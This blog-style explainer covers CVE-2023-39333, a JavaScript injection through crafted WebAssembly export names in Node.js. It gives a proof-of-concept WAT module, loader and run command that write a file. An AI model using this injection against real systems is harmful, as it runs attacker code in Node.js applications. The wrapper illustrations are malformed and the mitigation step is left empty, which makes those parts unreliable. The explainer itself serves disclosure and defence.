CVE-2023-39333 - Injecting JavaScript with WebAssembly Export Names in Node.js
WebAssembly (WASM) is a powerful tool for running high-performance code in browsers and other environments. But what happens when the very WASM modules you bring in can smuggle in malicious JavaScript? That’s the reality exposed by CVE-2023-39333—a security bug affecting Node.js when run with a specific setting. Let’s break down what this means, see how the bug works, and look at an example exploit.
What’s the Problem?
Node.js added experimental support for importing WebAssembly modules directly as ES modules, behind a special flag: --experimental-wasm-modules. This lets you import a WASM file right in your JS code. But if you imported a WASM module with a specially-crafted export name, it could trick Node.js into running JavaScript code of the attacker’s choice.
This exploit works because, at the time, Node.js did not properly handle export names from WASM modules. If an export name includes JavaScript code (for example, with backticks and expressions), it can get injected into the auto-generated JavaScript module wrapper.
Only exploitable if you load untrusted or malicious WASM modules.
- The malicious code can access things the WASM module itself can’t—as if you’d imported a malicious JS module instead.
How Does the Exploit Work?
When Node.js processes an imported .wasm module, it creates a JS wrapper. Normally, export names are safe strings. But what if an export name includes a backtick, or even JavaScript code?
Example export name in WASM: hackprocess.exit()
Here’s a basic illustration of how Node.js would wrap this
/* Node.js generated wrapper (simplified) */
const wasmExports = instance.exports;
export const hackprocess.exit() = wasmExports["hackprocess.exit()"];
This line of code is invalid, but if the export name were more carefully crafted, the injected code could actually _run_. For example:
;; Pseudocode for malicious export name
(export "`;require('fs').writeFileSync('/tmp/pwned','hacked')//")
This would result in Node.js creating a wrapper like
export const a = wasmExports["a"];
export const "";require('fs').writeFileSync('/tmp/pwned','hacked')// = wasmExports["<name>"];
Exploit Step-by-Step
Let’s see how this bug can be abused. (This is a simulated example; don’t use in production.)
1. Write a WASM module with a malicious export name
First, you need a way to generate a WASM file where the export name is JavaScript code.
Here's a simple text-format WASM module
(module
(func $dummy (result i32)
i32.const 42
)
(export "`;require('fs').writeFileSync('hacked.txt','hacked')//" (func $dummy))
)
You can use WebAssembly Explorer or WABT to compile this to .wasm format.
exploit.js
// Node.js v18+ with --experimental-wasm-modules
import './malicious.wasm';
Run it
node --experimental-wasm-modules exploit.js
Result: A file called hacked.txt is created in your directory.
This happens because the auto-generated ES module wrapper script executes the injected JS code as part of the module evaluation phase.
How to Stay Safe (Mitigation)
1. Update Node.js to a safe release:
References
- Node.js Security Release for CVE-2023-39333
- GitHub Advisory: GHSA-vfwq-qw4f-2f2j
- wabt: The WebAssembly Binary Toolkit
Final Thoughts
CVE-2023-39333 is a classic lesson in being careful with code-generation and string interpolation—not just in your app, but in the tools and runtimes you trust. If you rely on bleeding-edge WebAssembly support in Node.js, patch your environment and always trust only WASM modules you control.
Stay safe, and keep your Node.js up-to-date.
*This content is originally written for this conversation and is not copy-pasted from public sources.*
Timeline
Published on: 09/07/2024 16:15:02 UTC
Last modified on: 09/09/2024 18:35:00 UTC